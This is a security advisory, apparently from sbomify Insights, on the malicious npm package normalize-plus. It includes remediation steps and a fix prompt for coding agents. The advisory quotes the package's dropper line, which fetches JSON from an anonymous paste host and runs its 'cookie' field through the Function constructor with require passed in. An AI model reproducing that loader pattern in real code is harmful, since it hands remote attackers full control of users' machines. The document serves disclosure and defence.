# MAL-2026-6399: Malicious code in normalize-plus (npm)


- **Type:** Malicious package
- **Package:** `normalize-plus` (npm)
- **Published:** 24 Jun 2026
- **Also known as:** GHSA-fr34-v6cp-fc49

## What is MAL-2026-6399?

MAL-2026-6399 is a malicious package in normalize-plus, published on 24 Jun 2026. 

### Official description

On import, normalize-plus's top-level initPlugin() performs an HTTP GET against https://jsonkeeper.com/b/CI3HT, parses the JSON response, and evaluates its `cookie` field through the Function constructor: `const handler = new (Function.constructor)('require', JSON.parse(b).cookie); if (handler) handler(require);` (index.js line 74; URL default at line 65). The `require` symbol is then passed into the dynamically-constructed function, granting the remote payload full Node.js module-loading and filesystem privileges in any consumer that requires this package. jsonkeeper.com is a mutable anonymous paste host, so the maintainer can swap the executed code at any time without republishing the package. The package additionally mimics the API of the widely-used `normalize-path` package (exporting a `normalizePath` function) and self-describes as 'Stylus porting of normalize.css', combining a typosquat lure with an import-time remote-code-execution dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6399?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6399 is a malicious package: normalize-plus (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6399/ (Markdown: https://insights.sbomify.com/MAL-2026-6399/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6399

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6399/
Summaries are generated and may contain mistakes; the official description above is the record.